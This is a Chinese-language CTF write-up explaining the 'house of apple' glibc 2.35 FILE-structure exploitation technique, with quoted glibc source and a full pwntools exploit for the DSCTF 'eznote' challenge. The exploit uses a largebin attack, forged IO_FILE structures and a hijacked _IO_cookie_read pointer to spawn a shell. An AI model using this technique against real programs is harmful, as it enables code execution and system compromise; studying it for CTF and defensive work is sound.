到达世界最高城,glibc2.35!

昨天dsctf的eznote没做出来,2.35的环境是现配的,自己的思路也不是很清晰加上最后时间不太够了没能做出来,对我来说属于船新版本了。赛后ver爷发了一篇house of apple文章,确实太🐂了,通杀目前所有版本。有必要跟上时代,特此学习一下

house of apple

众所周知高版本(>=glibc2.34)移除了诸多hook,已有的攻击方法基本都是针对IO结构体的利用,特别是通过更改vtable地址,利用一个原有的某jumps中的函数指针,进行后续利用。

另外在glibc2.35中似乎exit hook也看不到了。痛,太痛了……

house of apple方法也类似,利用的是_IO_wstrn_jumps中的_IO_wstrn_overflow。达到的效果是任意地址写地址,这里写入的地址通常是堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);

fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}

fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;

/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}

首先看一下结构体_IO_wstrnfile构成

1
2
3
4
5
6
7
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
char overflow_buf[64];
} _IO_strnfile;

_IO_wstrnfile由一个_IO_strfile和0x40大小的buf构成
前者由两个结构体_IO_streambuf_IO_str_fields构成

1
2
3
4
5
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

_IO_streambuf构成。实际上和_IO_FILE_plus没有区别

1
2
3
4
5
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};

_IO_str_fields内含两个指针

1
2
3
4
5
6
7
8
9
10
11
struct _IO_str_fields
{
/* These members are preserved for ABI compatibility. The glibc
implementation always calls malloc/free for user buffers if
_IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};

typedef void *(*_IO_alloc_type) (size_t);
typedef void (*_IO_free_type) (void*);

所以我们可以知道一个_IO_strfile的大小为0xe0+0x10=0xf0
所以overflow_buf对应的偏移应该为fp+0xf0

再来看一个需要什么条件

  • (fp->_wide_data->_IO_buf_base != snf->overflow_buf)。这里基本上都是不相等的,因为snf->overflow_buf是一个地址(其实就是fp+0xf0

接下来的_IO_wsetb需要绕过其中的freef->_wide_data->_IO_buf_base为空或_flags2&8 !=0即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base);
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
libc_hidden_def (_IO_wsetb)

//#define _IO_FLAGS2_USER_WBUF 8

然后就进行了一系列赋值操作

所以我们只需要伪造一个IOFILE结构体,并将其中的_wide_data填上想要进行覆写操作的地址,布置好相应的内容来触发调用,即可完成任意地址覆写堆地址的目的。

那么其实到这里house of apple就结束了,并不复杂,但house of apple并不能完成终结,因为其中并没有函数指针的劫持或调用。所以通常其可以作为其他终结方法的前导操作,并通过伪造的IO_FILE的_chain字段链接下一个伪造的结构体,从而多次触发vatable的劫持完成终结

DSCTF eznote

感觉通过两次large bin attack做house of emma应该也可行

这里使用一次largebin attack把堆地址写到_IO_list_all上,通过一次house of apple改写__pointer_chk_guard_local为已知堆地址,第二次使用house of emma,调用_IO_cookie_read并劫持read指针从而getshell

最后会以cookie字段为参数,指向/bin/sh即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

r = process('./eznote')
# r = remote('39.96.185.98',1009)
elf = ELF('./eznote')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(sz, ct):
r.sendlineafter('> ', str(1))
r.sendlineafter('Size: ', str(sz))
r.sendafter('Content: ', ct)

def show(idx):
r.sendlineafter('> ', str(4))
r.sendlineafter('Idx: ', str(idx))

def delete(idx):
r.sendlineafter('> ', str(2))
r.sendlineafter('Idx: ', str(idx))

def edit(idx, ct):
r.sendlineafter('> ', str(3))
r.sendlineafter('Idx: ', str(idx))
r.sendafter('Content: ', ct)

def ROL(ct):
n = bin(ct)[2:].rjust(64, '0')
return int(n[0x11:] + n[:0x11], 2)

add(0x420, 'A'*0x420) #0
add(0x420, 'A'*0x420) #1
add(0x448, 'A'*0x448) #2
add(0x420, 'A'*0x420) #3
add(0x438, 'A'*0x438) #4
add(0x420, 'B'*0x420) #5
add(0x500, 'B'*0x500) #6
add(0x3271, (p64(0)+p64(0x21))*0x150+b'\n') #7

show(0)
r.recvuntil('Note0:\n')
heap = u64(r.recv(6)+b'\x00\x00')-0x21b0
pay = b''
pay+= b'A'*0x428 #0
pay+= p64(0x431)+b'A'*0x428 #1
pay+= p64(0x451)+b'A'*0x448 #2
pay+= p64(0x431)+b'A'*0x428 #3
pay+= p64(0x441)+b'A'*0x438 #4
pay+= p64(0x431)+b'A'*0x428 #5
pay+= p64(0x511)+b'B'*0xe0+b'A'*(0x508-0xe0) #6
pay+= p64(0x3281)
pay+= b'\n'
delete(0)
add(0x420, '\n')
show(1)
libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-0x240-libc.sym['_IO_2_1_stdin_']
delete(0)
add(0x3260, pay)

delete(2)
add(0x500, '\n')
delete(4)
pay = b''
pay+= b'A'*0x428 #0
pay+= p64(0x431)+b'Z'*0x428 #1
pay+= p64(0x451)
pay+= p64(0)*3+p64(libc.address+0x21a680-0x20) #_IO_list_all
pay+= b'\n'
edit(0, pay)
add(0x600, '\n')
pay = b''
pay+= b'A'*0x428 #0
pay+= p64(0x431)+b'Z'*0x428 #1
pay+= p64(0x451)
pay+= p64(heap+0x1420)+p64(libc.address+0x21a0e0)+\
p64(heap+0x1420)*2+b'Z'*(0x440-0x20)+p64(0x450)+p64(0x430)+\
b'Z'*0x420+p64(0)+p64(0x441)
pay+= p64(libc.address+0x21a0e0)+p64(heap+0xba0)*3
pay+= b'\n'
edit(0, pay)
delete(6)
add(0x430, '\n')

fakeIO = b''
fakeIO+= p64(0)# 0x10:'_IO_read_end',
fakeIO+= p64(0)# 0x18:'_IO_read_base',
fakeIO+= p64(0)# 0x20:'_IO_write_base',
fakeIO+= p64(1)# 0x28:'_IO_write_ptr',
fakeIO+= p64(0)# 0x30:'_IO_write_end',
fakeIO+= p64(0)# 0x38:'_IO_buf_base',
fakeIO+= p64(0)# 0x40:'_IO_buf_end',
fakeIO+= p64(0)# 0x48:'_IO_save_base',
fakeIO+= p64(0)# 0x50:'_IO_backup_base',
fakeIO+= p64(0)# 0x58:'_IO_save_end',
fakeIO+= p64(0)# 0x60:'_markers',
fakeIO+= p64(heap+0x350)# 0x68:'_chain',
fakeIO+= p32(0)# 0x70:'_fileno',
fakeIO+= p32(0)# 0x74:'_flags2',
fakeIO+= p64(0)# 0x78:'_old_offset',
fakeIO+= p64(0)# 0x80:'_cur_column',0x82:'_vtable_offset',0x83:'_shortbuf',
fakeIO+= p64(0)# 0x88:'_lock',
fakeIO+= p64(0)# 0x90:'_offset',
fakeIO+= p64(0)# 0x98:'_codecvt',
fakeIO+= p64(libc.address-0x2890)# 0xa0:'_wide_data',
fakeIO+= p64(0)# 0xa8:'_freeres_list',
fakeIO+= p64(0)# 0xb0:'_freeres_buf',
fakeIO+= p64(0)# 0xb8:'__pad5',
fakeIO+= p32(0)# 0xc0:'_mode',
fakeIO+= b'\x00'*0x14 # 0xc4:'_unused2',
fakeIO+= p64(libc.address+0x215dc0)# 0xd8:'vtable' #_IO_wstrn_jumps
fakeIOstrfield = p64(0)*2
overflow_buf = b'\x00'*0x40
fakeIO+=fakeIOstrfield+overflow_buf
edit(6, fakeIO+b'\n')

fakeIO = b''
fakeIO+= p64(0)# 0x0:'_flags',
fakeIO+= p64(0)# 0x8:'_IO_read_ptr',
fakeIO+= p64(0)# 0x10:'_IO_read_end',
fakeIO+= p64(0)# 0x18:'_IO_read_base',
fakeIO+= p64(0)# 0x20:'_IO_write_base',
fakeIO+= p64(1)# 0x28:'_IO_write_ptr',
fakeIO+= p64(0)# 0x30:'_IO_write_end',
fakeIO+= p64(0)# 0x38:'_IO_buf_base',
fakeIO+= p64(0)# 0x40:'_IO_buf_end',
fakeIO+= p64(0)# 0x48:'_IO_save_base',
fakeIO+= p64(0)# 0x50:'_IO_backup_base',
fakeIO+= p64(0)# 0x58:'_IO_save_end',
fakeIO+= p64(0)# 0x60:'_markers',
fakeIO+= p64(0)# 0x68:'_chain',
fakeIO+= p32(0)# 0x70:'_fileno',
fakeIO+= p32(0)# 0x74:'_flags2',
fakeIO+= p64(0)# 0x78:'_old_offset',
fakeIO+= p64(0)# 0x80:'_cur_column',0x82:'_vtable_offset',0x83:'_shortbuf',
fakeIO+= p64(0)# 0x88:'_lock',
fakeIO+= p64(0)# 0x90:'_offset',
fakeIO+= p64(0)# 0x98:'_codecvt',
fakeIO+= p64(0)# 0xa0:'_wide_data',
fakeIO+= p64(0)# 0xa8:'_freeres_list',
fakeIO+= p64(0)# 0xb0:'_freeres_buf',
fakeIO+= p64(0)# 0xb8:'__pad5',
fakeIO+= p32(0)# 0xc0:'_mode',
fakeIO+= b'\x00'*0x14 # 0xc4:'_unused2',
fakeIO+= p64(libc.address+0x215b80+0x58)# 0xd8:'vtable' #_IO_cookie_read
fakeIOcookie = p64(heap+0x458) #cookie
fakeIOcookie += p64(ROL(libc.sym['system']^(heap+0x1510))) #read
fakeIOcookie += p64(0) #write
fakeIOcookie += p64(0) #seek
fakeIOcookie += p64(0) #close
fakeIO+=fakeIOcookie+b'/bin/sh\x00'
edit(0, fakeIO+b'\n')

gdb.attach(r, 'b _IO_cleanup\n b*0x7ffff7e11a3f')
r.recv()
r.sendline('5')
success(hex(heap))
success(hex(libc.address))
r.interactive()

后记

发现_IO_strn_overflow_IO_wstrn_overflow基本一样,也能任意写可控地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int
_IO_strn_overflow (FILE *fp, int c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_strnfile structure. */
_IO_strnfile *snf = (_IO_strnfile *) fp;

if (fp->_IO_buf_base != snf->overflow_buf)
{
/* Terminate the string. We know that there is room for at
least one more character since we initialized the stream with
a size to make this possible. */
*fp->_IO_write_ptr = '\0';

_IO_setb (fp, snf->overflow_buf,
snf->overflow_buf + sizeof (snf->overflow_buf), 0);

fp->_IO_write_base = snf->overflow_buf;
fp->_IO_read_base = snf->overflow_buf;
fp->_IO_read_ptr = snf->overflow_buf;
fp->_IO_read_end = snf->overflow_buf + sizeof (snf->overflow_buf);
}

fp->_IO_write_ptr = snf->overflow_buf;
fp->_IO_write_end = snf->overflow_buf;

/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}

其他的也稍微看了一眼,感觉好像找不到像cookie read这么猛能劫持函数指针的地方了……